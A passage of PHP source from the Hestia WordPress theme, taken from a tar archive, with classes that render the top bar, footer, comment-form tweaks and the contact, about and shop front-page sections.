if ( ! $this->top_bar_has_placeholder() ) {
return;
}
echo '<div class="' . esc_attr( $this->top_bar_sidebar_class() ) . '">';
hestia_display_customizer_shortcut( 'hestia-top-bar-widget' );
echo esc_html__( 'This sidebar is active but empty. In order to use this layout, please add widgets in the sidebar', 'hestia' );
echo '</div>';
}
/**
* Function to display header top bar.
*
* @since 1.1.40
*
* @access public
*/
public function header_top_bar() {
?>
<div class="container">
<div class="row">
<?php
/**
* Call for sidebar
*/
$this->maybe_render_placeholder();
if ( is_active_sidebar( 'sidebar-top-bar' ) ) {
?>
<div class="<?php echo esc_attr( $this->top_bar_sidebar_class() ); ?>">
<?php dynamic_sidebar( 'sidebar-top-bar' ); ?>
</div>
<?php
}
?>
<div class="<?php echo esc_attr( $this->top_bar_menu_class() ); ?>">
<?php
wp_nav_menu(
array(
'theme_location' => 'top-bar-menu',
'depth' => 1,
'container' => 'div',
'container_id' => 'top-bar-navigation',
'menu_class' => 'nav top-bar-nav',
'fallback_cb' => 'Hestia_Bootstrap_Navwalker::fallback',
'walker' => new Hestia_Bootstrap_Navwalker(),
)
);
?>
</div>
</div><!-- /.row -->
</div><!-- /.container -->
<?php
}
/**
* Get the top bar sidebar class.
*
* @return string top bar sidebar class.
*/
private function top_bar_sidebar_class() {
$top_bar_alignment = get_theme_mod( 'hestia_top_bar_alignment', apply_filters( 'hestia_top_bar_alignment_default', 'right' ) );
$sidebar_class = 'pull-left';
if ( ! empty( $top_bar_alignment ) && $top_bar_alignment === 'left' ) {
$sidebar_class = 'pull-right';
}
$sidebar_class .= ' col-md-6';
if ( ! has_nav_menu( 'top-bar-menu' ) && ! current_user_can( 'edit_theme_options' ) ) {
$sidebar_class .= ' col-md-12';
}
return $sidebar_class;
}
/**
* Get the top bar menu class.
*
* @return string top bar menu class.
*/
private function top_bar_menu_class() {
$top_bar_alignment = get_theme_mod( 'hestia_top_bar_alignment', apply_filters( 'hestia_top_bar_alignment_default', 'right' ) );
$menu_class = 'pull-right';
if ( ! empty( $top_bar_alignment ) && $top_bar_alignment === 'left' ) {
$menu_class = 'pull-left';
}
if ( is_active_sidebar( 'sidebar-top-bar' ) || $this->top_bar_has_placeholder() ) {
$menu_class .= ' col-md-6 top-widgets-placeholder';
} else {
$menu_class .= ' col-md-12';
}
return $menu_class;
}
/**
* Get top bar style from customizer controls.
*
* @since 1.1.48
*/
private function top_bar_css() {
$custom_css = '';
$hestia_top_bar_background = get_theme_mod( 'hestia_top_bar_background_color', '#363537' );
if ( ! empty( $hestia_top_bar_background ) ) {
$custom_css .= '.hestia-top-bar, .hestia-top-bar .widget.widget_shopping_cart .cart_list {
background-color: ' . esc_html( $hestia_top_bar_background ) . '
}
.hestia-top-bar .widget .label-floating input[type=search]:-webkit-autofill {
-webkit-box-shadow: inset 0 0 0px 9999px ' . esc_html( $hestia_top_bar_background ) . '
}';
}
$hestia_top_bar_text_color = get_theme_mod( 'hestia_top_bar_text_color', '#ffffff' );
if ( ! empty( $hestia_top_bar_background ) ) {
$custom_css .= '.hestia-top-bar, .hestia-top-bar .widget .label-floating input[type=search], .hestia-top-bar .widget.widget_search form.form-group:before, .hestia-top-bar .widget.widget_product_search form.form-group:before, .hestia-top-bar .widget.widget_shopping_cart:before {
color: ' . esc_html( $hestia_top_bar_text_color ) . '
}
.hestia-top-bar .widget .label-floating input[type=search]{
-webkit-text-fill-color:' . esc_html( $hestia_top_bar_text_color ) . ' !important
}';
}
$hestia_top_bar_link_color = get_theme_mod( 'hestia_top_bar_link_color', '#ffffff' );
if ( ! empty( $hestia_top_bar_link_color ) ) {
$custom_css .= '.hestia-top-bar a, .hestia-top-bar .top-bar-nav li a {
color: ' . esc_html( $hestia_top_bar_link_color ) . '
}';
}
$hestia_top_bar_link_color_hover = get_theme_mod( 'hestia_top_bar_link_color_hover', '#eeeeee' );
if ( ! empty( $hestia_top_bar_link_color_hover ) ) {
$custom_css .= '.hestia-top-bar a:hover, .hestia-top-bar .top-bar-nav li a:hover {
color: ' . esc_html( $hestia_top_bar_link_color_hover ) . '
}';
}
return $custom_css;
}
/**
* Add top bar style.
*/
public function top_bar_style() {
wp_add_inline_style( 'hestia_style', $this->top_bar_css() );
}
/**
* Filter Primary Navigation to add navigation cart and search.
*
* @param string $markup the markup for the navigation addons.
* @access public
* @return mixed
*/
public function modify_primary_menu( $markup ) {
if ( 'primary' !== $markup['theme_location'] ) {
return $markup;
}
$markup['items_wrap'] = $this->display_filtered_navigation();
return $markup;
}
/**
* Display navigation.
*
* @return string
*/
private function display_filtered_navigation() {
$nav = '<ul id="%1$s" class="%2$s">';
$nav .= '%3$s';
$nav .= apply_filters( 'hestia_after_primary_navigation_addons', $this->search_in_menu() );
$nav .= '</ul>';
return $nav;
}
/**
* Display search form in menu.
*/
private function search_in_menu() {
$search_in_menu = get_theme_mod( 'hestia_search_in_menu', false );
if ( (bool) $search_in_menu === false ) {
return false;
}
$form = '
<li class="hestia-search-in-menu">
<form role="search" method="get" class="hestia-search-in-nav" action="' . esc_url( home_url( '/' ) ) . '">
<div class="hestia-nav-search">
<span class="screen-reader-text">' . _x( 'Search for:', 'label', 'hestia' ) . '</span>
<span class="search-field-wrapper">
<input type="search" class="search-field" placeholder="' . esc_attr_x( 'Search …', 'placeholder', 'hestia' ) . '" value="' . get_search_query() . '" name="s" />
</span>
<span class="search-submit-wrapper">
<button type="submit" class="search-submit hestia-search-submit" ><i class="fa fa-search"></i></button>
</span>
</div>
</form>
<div class="hestia-toggle-search">
<i class="fa fa-search"></i>
</div>
</li>';
return $form;
}
}
main/class-hestia-footer.php 0000666 00000013452 15111734607 0012073 0 ustar 00 <?php
/**
* Footer Main Manager
*
* @package Hestia
*/
/**
* Class Hestia_Footer
*/
class Hestia_Footer extends Hestia_Abstract_Main {
/**
* Initialization of the feature.
*/
public function init() {
add_action( 'hestia_do_footer', array( $this, 'the_footer_content' ) );
add_filter( 'wp_nav_menu_args', array( $this, 'modify_footer_menu_classes' ) );
add_action( 'hestia_do_bottom_footer_content', array( $this, 'bottom_footer_content' ) );
}
/**
* Get an array of footer sidevars slugs.
*
* @return array
*/
private function get_footer_sidebars() {
$footer_sidebars_array = array(
'footer-one-widgets',
'footer-two-widgets',
'footer-three-widgets',
'footer-four-widgets',
);
$number_of_sidebars = get_theme_mod( 'hestia_nr_footer_widgets', '3' );
$footer_sidebars_array = array_slice( $footer_sidebars_array, 0, $number_of_sidebars );
return $footer_sidebars_array;
}
/**
* Render the footer sidebars.
*/
private function render_footer_sidebars() {
if ( ! $this->does_footer_have_widgets() ) {
return;
}
$sidebars = $this->get_footer_sidebars();
if ( empty( $sidebars ) ) {
return;
} ?>
<div class="content">
<div class="row">
<?php
foreach ( $sidebars as $footer_sidebar ) {
if ( is_active_sidebar( $footer_sidebar ) ) {
echo '<div class="' . esc_attr( $this->the_sidebars_class() ) . '">';
dynamic_sidebar( $footer_sidebar );
echo '</div>';
}
}
?>
</div>
</div>
<hr/>
<?php
}
/**
* Function to display footer content.
*
* @since 1.1.24
* @access public
*/
public function the_footer_content() {
hestia_before_footer_trigger();
?>
<footer class="footer <?php echo esc_attr( $this->the_footer_class() ); ?> footer-big">
<?php hestia_before_footer_content_trigger(); ?>
<div class="container">
<?php hestia_before_footer_widgets_trigger(); ?>
<?php $this->render_footer_sidebars(); ?>
<?php hestia_after_footer_widgets_trigger(); ?>
<?php $this->wrapped_bottom_footer_content(); ?>
</div>
<?php hestia_after_footer_content_trigger(); ?>
</footer>
<?php
hestia_after_footer_trigger();
}
/**
* Filter footer menu classes to account for alignment.
*
* @param string $classes the footer classes.
*
* @return mixed
*/
public function modify_footer_menu_classes( $classes ) {
if ( 'footer' !== $classes['theme_location'] ) {
return $classes;
}
$classes['menu_class'] .= ' ' . $this->add_footer_menu_alignment_class();
return $classes;
}
/**
* Function to display footer copyright and footer menu.
*/
private function wrapped_bottom_footer_content() {
echo '<div class="hestia-bottom-footer-content">';
do_action( 'hestia_do_bottom_footer_content' );
echo '</div>';
}
/**
* Function to display footer copyright and footer menu.
* Also used as callback for selective refresh.
*/
public function bottom_footer_content() {
$hestia_general_credits = get_theme_mod(
'hestia_general_credits',
sprintf(
/* translators: %1$s is Theme Name, %2$s is WordPress */
esc_html__( '%1$s | Powered by %2$s', 'hestia' ),
sprintf(
/* translators: %s is Theme name */
'<a href="https://themeisle.com/themes/hestia/" target="_blank" rel="nofollow">%s</a>',
esc_html__( 'Hestia', 'hestia' )
),
/* translators: %1$s is URL, %2$s is WordPress */
sprintf(
'<a href="%1$s" rel="nofollow">%2$s</a>',
esc_url( __( 'http://wordpress.org', 'hestia' ) ),
esc_html__( 'WordPress', 'hestia' )
)
)
);
wp_nav_menu(
array(
'theme_location' => 'footer',
'depth' => 1,
'container' => 'ul',
'menu_class' => 'footer-menu',
)
);
?>
<?php if ( ! empty( $hestia_general_credits ) || is_customize_preview() ) : ?>
<div class="copyright <?php echo esc_attr( $this->add_footer_copyright_alignment_class() ); ?>">
<?php echo wp_kses_post( $hestia_general_credits ); ?>
</div>
<?php
endif;
}
/**
* Add the footer copyright alignment class.
*
* @return string
*/
private function add_footer_copyright_alignment_class() {
$hestia_copyright_alignment = get_theme_mod( 'hestia_copyright_alignment', 'right' );
if ( $hestia_copyright_alignment === 'left' ) {
return 'pull-left';
}
if ( $hestia_copyright_alignment === 'center' ) {
return 'hestia-center';
}
return 'pull-right';
}
/**
* Add the footer menu alignment class.
*
* @return string
*/
private function add_footer_menu_alignment_class() {
$hestia_copyright_alignment = get_theme_mod( 'hestia_copyright_alignment', 'right' );
if ( $hestia_copyright_alignment === 'left' ) {
return 'pull-right';
}
if ( $hestia_copyright_alignment === 'center' ) {
return 'hestia-center';
}
return 'pull-left';
}
/**
* Utility to get the footer class for color changes.
*/
private function the_footer_class() {
$footer_style = get_theme_mod( 'hestia_alternative_footer_style', 'black_footer' );
$class = 'footer-black';
if ( $footer_style === 'white_footer' ) {
$class = '';
}
return $class;
}
/**
* Get the sidebars class.
*
* @return string the sidebar class
*/
private function the_sidebars_class() {
$number_of_sidebars = get_theme_mod( 'hestia_nr_footer_widgets', '3' );
if ( empty( $number_of_sidebars ) ) {
return 'col-md-4';
}
$suffix = abs( 12 / $number_of_sidebars );
$class = 'col-md-' . $suffix;
return $class;
}
/**
* Utility to check if any of the footer sidebars have widgets.
*
* @return bool
*/
private function does_footer_have_widgets() {
$sidebars = $this->get_footer_sidebars();
if ( empty( $sidebars ) ) {
return false;
}
foreach ( $sidebars as $footer_sidebar ) {
$has_widgets = is_active_sidebar( $footer_sidebar );
if ( $has_widgets ) {
return true;
}
}
return false;
}
}
class-hestia-tweaks.php 0000666 00000013102 15111734607 0011137 0 ustar 00 <?php
/**
* Generic Tweaks to change various things in the theme.
*
* @package Hestia
*/
/**
* Class Hestia_Tweaks
*/
class Hestia_Tweaks extends Hestia_Abstract_Main {
/**
* Initialize Tweaks.
*/
public function init() {
add_filter( 'body_class', array( $this, 'body_classes' ) );
add_filter( 'excerpt_length', array( $this, 'change_excerpt_length' ), 999 );
add_filter( 'excerpt_more', array( $this, 'change_excerpt_more' ) );
add_filter( 'comment_form_fields', array( $this, 'comment_message' ) );
add_filter( 'comment_form_default_fields', array( $this, 'comment_form_args' ) );
add_filter( 'repeater_input_labels_filter', array( $this, 'slider_repeater_labels' ), 10, 3 );
add_filter( 'hestia_repeater_input_types_filter', array( $this, 'repeater_input_types' ), 10, 3 );
}
/**
* Add appropriate classes to body tag.
*
* @param string $classes body classes.
*
* @return string
* @since Hestia 1.0
*/
public function body_classes( $classes ) {
if ( is_singular() ) {
$classes[] = 'blog-post';
}
return $classes;
}
/**
* Define excerpt length.
*
* @since Hestia 1.0
* @return string
*/
function change_excerpt_length() {
if ( ( 'page' === get_option( 'show_on_front' ) && is_front_page() ) || is_single() ) {
return 35;
}
if ( is_home() ) {
if ( is_active_sidebar( 'sidebar-1' ) ) {
return 40;
} else {
return 75;
}
} else {
return 50;
}
}
/**
* Replace excerpt "Read More" text with a link.
*
* @param string $more [...].
*
* @return string
* @since Hestia 1.0
*/
public function change_excerpt_more( $more ) {
global $post;
if ( ( ( 'page' === get_option( 'show_on_front' ) ) && is_front_page() ) || is_single() || is_archive() || is_home() ) {
return '<a class="moretag" href="' . esc_url( get_permalink( $post->ID ) ) . '"> ' . esc_html__( 'Read more…', 'hestia' ) . '</a>';
}
return $more;
}
/**
* Move comment field above user details.
*
* @param array $fields comment form fields.
*
* @return array
* @since Hestia 1.0
*/
public function comment_message( $fields ) {
if ( array_key_exists( 'comment', $fields ) ) {
$comment_field = $fields['comment'];
unset( $fields['comment'] );
$fields['comment'] = $comment_field;
}
if ( array_key_exists( 'cookies', $fields ) ) {
$cookie_field = $fields['cookies'];
unset( $fields['cookies'] );
$fields['cookies'] = $cookie_field;
}
return $fields;
}
/**
* Add markup to comment form fields.
*
* @param array $fields Comment form fields.
*
* @return array
*/
public function comment_form_args( $fields ) {
$req = get_option( 'require_name_email' );
$aria_req = ( $req ? " aria-required='true'" : '' );
$fields['author'] = '<div class="row"> <div class="col-md-4"> <div class="form-group label-floating is-empty"> <label class="control-label">' . esc_html__( 'Name', 'hestia' ) . ( $req ? ' <span class="required">*</span>' : '' ) . '</label><input id="author" name="author" class="form-control" type="text"' . $aria_req . ' /> <span class="hestia-input"></span> </div> </div>';
$fields['email'] = '<div class="col-md-4"> <div class="form-group label-floating is-empty"> <label class="control-label">' . esc_html__( 'Email', 'hestia' ) . ( $req ? ' <span class="required">*</span>' : '' ) . '</label><input id="email" name="email" class="form-control" type="email"' . $aria_req . ' /> <span class="hestia-input"></span> </div> </div>';
$fields['url'] = '<div class="col-md-4"> <div class="form-group label-floating is-empty"> <label class="control-label">' . esc_html__( 'Website', 'hestia' ) . '</label><input id="url" name="url" class="form-control" type="url"' . $aria_req . ' /> <span class="hestia-input"></span> </div> </div> </div>';
return $fields;
}
/**
* Filter to modify input label in repeater control
* You can filter by control id and input name.
*
* @param string $string Input label.
* @param string $id Input id.
* @param string $control Control name.
*
* @modified 1.1.41
*
* @return string
*/
public function slider_repeater_labels( $string, $id, $control ) {
if ( $id === 'hestia_slider_content' ) {
if ( $control === 'customizer_repeater_text_control' ) {
return esc_html__( 'Button Text', 'hestia' );
}
if ( $control === 'customizer_repeater_color_control' ) {
return esc_html__( 'Button', 'hestia' ) . ' ' . esc_html__( 'Color', 'hestia' );
}
if ( $control === 'customizer_repeater_color2_control' ) {
return esc_html__( 'Second', 'hestia' ) . ' ' . esc_html__( 'Button', 'hestia' ) . ' ' . esc_html__( 'Color', 'hestia' );
}
if ( $control === 'customizer_repeater_text2_control' ) {
return esc_html__( 'Second', 'hestia' ) . ' ' . esc_html__( 'Button text', 'hestia' );
}
if ( $control === 'customizer_repeater_link2_control' ) {
return esc_html__( 'Second', 'hestia' ) . ' ' . esc_html__( 'Link', 'hestia' );
}
}
return $string;
}
/**
* Filter to modify input type in repeater control
* You can filter by control id and input name.
*
* @param string $string Input label.
* @param string $id Input id.
* @param string $control Control name.
*
* @modified 1.1.41
*
* @return string
*/
public function repeater_input_types( $string, $id, $control ) {
if ( $id === 'hestia_slider_content' ) {
if ( $control === 'customizer_repeater_text_control' ) {
return '';
}
if ( $control === 'customizer_repeater_text2_control' ) {
return '';
}
if ( $control === 'customizer_repeater_subtitle_control' ) {
return 'textarea';
}
}
return $string;
}
}
front-page/class-hestia-contact-section.php 0000666 00000022501 15111734607 0015003 0 ustar 00 <?php
/**
* The Contact Section
*
* @package Hestia
*/
/**
* Class Hestia_Contact_Section
*/
class Hestia_Contact_Section extends Hestia_Abstract_Main {
/**
* Initialize section.
*/
public function init() {
$this->hook_section();
}
/**
* Hook section in.
*/
private function hook_section() {
$section_priority = apply_filters( 'hestia_section_priority', 65, 'hestia_contact' );
add_action( 'hestia_sections', array( $this, 'do_section' ), absint( $section_priority ) );
add_action( 'hestia_do_contact_section', array( $this, 'render_section' ) );
}
/**
* Executes the hook on which the content is rendered.
*/
public function do_section() {
do_action( 'hestia_do_contact_section', false );
}
/**
* Contact section content.
* This function can be called from a shortcode too.
* When it's called as shortcode, the title and the subtitle shouldn't appear and it should be visible all the time,
* it shouldn't matter if is disable on front page.
*
* @since Hestia 1.0
* @modified 1.1.51
*/
function render_section( $is_shortcode = false ) {
/**
* Don't show section if Disable section is checked.
* Show it if it's called as a shortcode.
*/
$hide_section = get_theme_mod( 'hestia_contact_hide', false );
$section_style = '';
if ( $is_shortcode === false && (bool) $hide_section === true ) {
if ( is_customize_preview() ) {
$section_style .= 'display: none;';
} else {
return;
}
}
/**
* Gather data to display the section.
*/
if ( current_user_can( 'edit_theme_options' ) ) {
/* translators: 1 - link to customizer setting. 2 - 'customizer' */
$hestia_contact_subtitle = get_theme_mod( 'hestia_contact_subtitle', sprintf( __( 'Change this subtitle in %s.', 'hestia' ), sprintf( '<a href="%1$s" class="default-link">%2$s</a>', esc_url( admin_url( 'customize.php?autofocus[control]=hestia_contact_subtitle' ) ), __( 'customizer', 'hestia' ) ) ) );
} else {
$hestia_contact_subtitle = get_theme_mod( 'hestia_contact_subtitle' );
}
$hestia_contact_title = get_theme_mod( 'hestia_contact_title', esc_html__( 'Get in Touch', 'hestia' ) );
$hestia_contact_area_title = get_theme_mod( 'hestia_contact_area_title', esc_html__( 'Contact Us', 'hestia' ) );
$hestia_contact_background = get_theme_mod( 'hestia_contact_background', apply_filters( 'hestia_contact_background_default', get_template_directory_uri() . '/assets/img/contact.jpg' ) );
if ( ! empty( $hestia_contact_background ) ) {
$section_style .= 'background-image: url(' . esc_url( $hestia_contact_background ) . ');';
}
$section_style = 'style="' . $section_style . '"';
/**
* In case this function is called as shortcode, we remove the container and we add 'is-shortcode' class.
*/
$class_to_add = $is_shortcode === true ? 'is-shortcode' : '';
$class_to_add .= ! empty( $hestia_contact_background ) ? 'section-image' : '';
hestia_before_contact_section_trigger(); ?>
<section class="hestia-contact contactus <?php echo esc_attr( $class_to_add ); ?>" id="contact"
data-sorder="hestia_contact" <?php echo wp_kses_post( $section_style ); ?>>
<?php
hestia_before_contact_section_content_trigger();
if ( $is_shortcode === false ) {
hestia_display_customizer_shortcut( 'hestia_contact_hide', true );
}
?>
<div class="container">
<?php hestia_top_contact_section_content_trigger(); ?>
<div class="row">
<div class="col-md-5 hestia-contact-title-area" <?php echo hestia_add_animationation( 'fade-right' ); ?>>
<?php
hestia_display_customizer_shortcut( 'hestia_contact_title' );
if ( ! empty( $hestia_contact_title ) || is_customize_preview() ) :
?>
<h2 class="hestia-title"><?php echo wp_kses_post( $hestia_contact_title ); ?></h2>
<?php endif; ?>
<?php if ( ! empty( $hestia_contact_subtitle ) || is_customize_preview() ) : ?>
<h5 class="description"><?php echo hestia_sanitize_string( $hestia_contact_subtitle ); ?></h5>
<?php endif; ?>
<?php
$contact_content_default = '';
if ( current_user_can( 'edit_theme_options' ) ) {
$contact_content_default = $this->content_default();
}
$hestia_contact_content = get_theme_mod( 'hestia_contact_content_new', wp_kses_post( $contact_content_default ) );
if ( ! empty( $hestia_contact_content ) ) {
echo '<div class="hestia-description">';
echo wp_kses_post( force_balance_tags( $hestia_contact_content ) );
echo '</div>';
}
?>
</div>
<?php
$hestia_contact_form_shortcode_default = '[pirate_forms]';
$hestia_contact_form_shortcode = get_theme_mod( 'hestia_contact_form_shortcode', $hestia_contact_form_shortcode_default );
if ( defined( 'PIRATE_FORMS_VERSION' ) || ( $hestia_contact_form_shortcode != $hestia_contact_form_shortcode_default ) ) {
?>
<div class="col-md-5 col-md-offset-2 hestia-contact-form-col" <?php echo hestia_add_animationation( 'fade-left' ); ?>>
<div class="card card-contact">
<?php if ( ! empty( $hestia_contact_area_title ) || is_customize_preview() ) : ?>
<div class="header header-raised header-primary text-center">
<h4 class="card-title"><?php echo esc_html( $hestia_contact_area_title ); ?></h4>
</div>
<?php endif; ?>
<div class="content">
<?php
$this->render_contact_form();
?>
</div>
</div>
</div>
<?php
} elseif ( is_customize_preview() ) {
$this->form_placeholder();
}
?>
</div>
<?php hestia_bottom_contact_section_content_trigger(); ?>
</div>
<?php hestia_after_contact_section_content_trigger(); ?>
</section>
<?php
hestia_after_contact_section_trigger();
}
/**
* Get the contact default content
*
* @return string
*/
public function content_default() {
$html = '<div class="hestia-info info info-horizontal">
<div class="icon icon-primary">
<i class="fa fa-map-marker"></i>
</div>
<div class="description">
<h4 class="info-title"> Find us at the office </h4>
<p>Bld Mihail Kogalniceanu, nr. 8,7652 Bucharest, Romania</p>
</div>
</div>
<div class="hestia-info info info-horizontal">
<div class="icon icon-primary">
<i class="fa fa-mobile"></i>
</div>
<div class="description">
<h4 class="info-title">Give us a ring</h4>
<p>Michael Jordan <br> +40 762 321 762<br>Mon - Fri, 8:00-22:00</p>
</div>
</div>';
return apply_filters( 'hestia_contact_content_default', $html );
}
/**
* Render contact form via shortcode input.
*/
private function render_contact_form() {
$contact_form_shortcode = get_theme_mod( 'hestia_contact_form_shortcode', '[pirate_forms]' );
if ( empty( $contact_form_shortcode ) ) {
echo do_shortcode( '[pirate_forms]' );
return;
}
echo do_shortcode( wp_kses_post( $contact_form_shortcode ) );
}
/**
* Render the contact form placeholder for the contact section.
*
* @since 1.1.31
* @access public
*/
private function form_placeholder() {
echo '
<div class="col-md-5 col-md-offset-2 pirate-forms-placeholder">
<div class="card card-contact">
<div class="header header-raised header-primary text-center">
<h4 class="hestia-title">' . esc_html__( 'Contact Us', 'hestia' ) . '</h4>
</div>
<div class="pirate-forms-placeholder-overlay">
<div class="pirate-forms-placeholder-align">
<h4 class="placeholder-text"> ' . esc_html__( 'In order to add a contact form to this section, you need to install the Pirate Forms plugin.', 'hestia' ) . ' </h4>
</div>
</div>
<div class="content">
<div class="pirate_forms_wrap">
<form class="pirate_forms ">
<div class="pirate_forms_three_inputs_wrap">
<div class="col-sm-4 col-lg-4 form_field_wrap contact_name_wrap pirate_forms_three_inputs ">
<label for="pirate-forms-contact-name"></label>
<input id="pirate-forms-contact-name" class="form-control" type="text" value="" placeholder="Your Name">
</div>
<div class="col-sm-4 col-lg-4 form_field_wrap contact_email_wrap pirate_forms_three_inputs">
<label for="pirate-forms-contact-email"></label>
<input id="pirate-forms-contact-email" class="form-control" type="email" value="" placeholder="Your Email">
</div>
<div class="col-sm-4 col-lg-4 form_field_wrap contact_subject_wrap pirate_forms_three_inputs">
<label for="pirate-forms-contact-subject"></label>
<input id="pirate-forms-contact-subject" class="form-control" type="text" value="" placeholder="Subject">
</div>
</div>
</form>
<div class="col-sm-12 col-lg-12 form_field_wrap contact_message_wrap">
<textarea id="pirate-forms-contact-message" required="" class="form-control" placeholder="Your message"></textarea>
</div>
<div class="col-xs-12 form_field_wrap contact_submit_wrap">
<button id="pirate-forms-contact-submit" class="pirate-forms-submit-button" type="submit">Send Message</button>
</div>
<div class="pirate_forms_clearfix"></div>
</div>
</div>
</div>
</div>';
}
}
front-page/extendables/class-hestia-first-front-page-section.php 0000666 00000007105 15111734607 0021040 0 ustar 00 <?php
/**
* The manager for the first front page section.
*
* @package Hestia
*/
/**
* Class Hestia_First_Front_Page_Section
*/
class Hestia_First_Front_Page_Section extends Hestia_Abstract_Main {
/**
* Hook the section into the header.
*/
public function init() {
add_action( 'hestia_header', array( $this, 'render_section' ) );
}
/**
* Big title section content.
*
* @since Hestia 1.0
*/
public function render_section() {
hestia_before_big_title_section_trigger();
?>
<div id="carousel-hestia-generic" class="carousel slide" data-ride="carousel">
<div class="carousel slide" data-ride="carousel">
<div class="carousel-inner">
<?php
do_action( 'hestia_first_front_page_section_content' );
?>
</div>
</div>
</div>
<?php
hestia_after_big_title_section_trigger();
}
/**
* Display parallax.
*
* @since 1.1.72
*/
public function maybe_render_parallax() {
if ( ! $this->should_display_parallax() ) {
return;
}
$parallax_layer1 = get_theme_mod( 'hestia_parallax_layer1', apply_filters( 'hestia_parallax_layer1_default', false ) );
$parallax_layer2 = get_theme_mod( 'hestia_parallax_layer2', apply_filters( 'hestia_parallax_layer2_default', false ) );
echo '<div id="parallax_move">';
echo '<div class="layer layer1" data-depth="0.10" style="background-image: url(' . esc_url( $parallax_layer1 ) . ');"></div>';
echo '<div class="layer layer2" data-depth="0.20" style="background-image: url(' . esc_url( $parallax_layer2 ) . ');"></div>';
echo '</div>';
}
/**
* Utility to check if we should display parallax.
*/
public static function should_display_parallax() {
$hestia_big_title_type = get_theme_mod( 'hestia_slider_type', 'image' );
if ( empty( $hestia_big_title_type ) || $hestia_big_title_type !== 'parallax' ) {
return false;
}
$parallax_layer1 = get_theme_mod( 'hestia_parallax_layer1', apply_filters( 'hestia_parallax_layer1_default', false ) );
if ( empty( $parallax_layer1 ) ) {
return false;
}
$parallax_layer2 = get_theme_mod( 'hestia_parallax_layer2', apply_filters( 'hestia_parallax_layer2_default', false ) );
if ( empty( $parallax_layer2 ) ) {
return false;
}
return true;
}
/**
* Determine the classes that should be on widgets and slider content.
*
* @param string $slider_alignment Slider alignment.
*
* @return array
*/
public function get_big_title_elements_class( $slider_alignment ) {
$result_array = array(
'slide' => ' big-title-slider-content text-' . $slider_alignment,
'widget' => ' col-md-5 ',
);
switch ( $slider_alignment ) {
case 'left':
$result_array['slide'] .= ' col-md-7 ';
$result_array['widget'] .= ' hestia-slider-alignment-left ';
break;
case 'center':
$result_array['slide'] .= ' col-sm-8 col-sm-offset-2 ';
break;
case 'right':
$result_array['slide'] .= ' col-md-7 margin-left-auto ';
$result_array['widget'] .= ' hestia-slider-alignment-right ';
break;
}
return $result_array;
}
/**
* Render widgets area on slider or big title.
*
* @param string $alignment Big title alignment.
* @param string $position Sidebar position.
* @param string $slide Slide index.
*/
public function maybe_render_widgets_area( $alignment, $position, $slide ) {
if ( $alignment !== $position ) {
return;
}
if ( $slide !== 1 ) {
return;
}
$slider_elements_classes = $this->get_big_title_elements_class( $alignment );
echo '<div class="big-title-sidebar-wrapper ' . esc_attr( $slider_elements_classes['widget'] ) . '">';
dynamic_sidebar( 'sidebar-big-title' );
echo '</div>';
}
}
front-page/class-hestia-about-section.php 0000666 00000004733 15111734607 0014471 0 ustar 00 <?php
/**
* The About Section
*
* @package Hestia
*/
/**
* Class Hestia_About_Section
*/
class Hestia_About_Section extends Hestia_Abstract_Main {
/**
* Initialize About Section
*/
public function init() {
$this->hook_section();
}
/**
* Hook section in.
*/
private function hook_section() {
$section_priority = apply_filters( 'hestia_section_priority', 15, 'hestia_about' );
add_action( 'hestia_sections', array( $this, 'do_section' ), absint( $section_priority ) );
add_action( 'hestia_do_about_section', array( $this, 'render_section' ) );
}
/**
* Executes the hook on which the content is rendered.
*/
public function do_section() {
do_action( 'hestia_do_about_section', false );
}
/**
* About section content.
*
* @since Hestia 1.0
* @modified 1.1.51
*/
public function render_section() {
{
/**
* Don't show section if Disable section is checked
*/
$section_style = '';
$hide_section = get_theme_mod( 'hestia_about_hide', false );
if ( (bool) $hide_section === true ) {
if ( is_customize_preview() ) {
$section_style .= 'display: none;';
} else {
return;
}
}
/**
* Display overlay (section-image class) on about section only if section have a background
*/
$class_to_add = '';
$hestia_frontpage_featured = get_theme_mod( 'hestia_feature_thumbnail', get_template_directory_uri() . '/assets/img/contact.jpg' );
if ( ! empty( $hestia_frontpage_featured ) ) {
$class_to_add = 'section-image';
$section_style .= 'background-image: url(\'' . esc_url( $hestia_frontpage_featured ) . '\');';
}
$section_style = 'style="' . $section_style . '"';
hestia_before_about_section_trigger(); ?>
<section class="hestia-about <?php echo esc_attr( $class_to_add ); ?>" id="about" data-sorder="hestia_about" <?php echo wp_kses_post( $section_style ); ?>>
<?php hestia_display_customizer_shortcut( 'hestia_about_hide', true ); ?>
<div class="container">
<div class="row hestia-about-content">
<?php
// Show the selected frontpage content
if ( have_posts() ) {
while ( have_posts() ) {
the_post();
get_template_part( 'template-parts/content', 'frontpage' );
}
} else { // I'm not sure it's possible to have no posts when this page is shown, but WTH
get_template_part( 'template-parts/content', 'none' );
}
?>
</div>
</div>
</section>
<?php
hestia_after_about_section_trigger();
}
}
}
front-page/class-hestia-shop-section.php 0000666 00000022770 15111734607 0014331 0 ustar 00 <?php
/**
* The Features Section
*
* @package Hestia
*/
/**
* Class Hestia_Features_Section
*/
class Hestia_Shop_Section extends Hestia_Abstract_Main {
/**
* Initialize Shop Section
*/
public function init() {
$this->hook_section();
}
/**
* Hook section in.
*/
private function hook_section() {
$section_priority = apply_filters( 'hestia_section_priority', 20, 'hestia_shop' );
add_action( 'hestia_sections', array( $this, 'do_section' ), absint( $section_priority ) );
add_action( 'hestia_do_shop_section', array( $this, 'render_section' ) );
}
/**
* Executes the hook on which the content is rendered.
*/
public function do_section() {
do_action( 'hestia_do_shop_section', false );
}
/**
* Shop section content.
*
* @since Hestia 1.0
* @modified 1.1.51
*
* @param bool $is_shortcode flag used if section is called via a shortcode.
*/
public function render_section( $is_shortcode = false ) {
/**
* Don't show section if Disable section is checked or it doesn't have any content.
* Show it if it's called as a shortcode.
*/
$hide_section = get_theme_mod( 'hestia_shop_hide', false );
$section_style = '';
if ( $is_shortcode === false && (bool) $hide_section === true ) {
if ( is_customize_preview() ) {
$section_style = 'style="display: none"';
} else {
return;
}
}
if ( ! class_exists( 'WooCommerce' ) ) {
return;
}
/**
* Gather data to display the section.
*/
if ( current_user_can( 'edit_theme_options' ) ) {
/* translators: 1 - link to customizer setting. 2 - 'customizer' */
$hestia_shop_subtitle = get_theme_mod( 'hestia_shop_subtitle', sprintf( __( 'Change this subtitle in %s.', 'hestia' ), sprintf( '<a href="%1$s" class="default-link">%2$s</a>', esc_url( admin_url( 'customize.php?autofocus[control]=hestia_shop_subtitle' ) ), __( 'customizer', 'hestia' ) ) ) );
} else {
$hestia_shop_subtitle = get_theme_mod( 'hestia_shop_subtitle' );
}
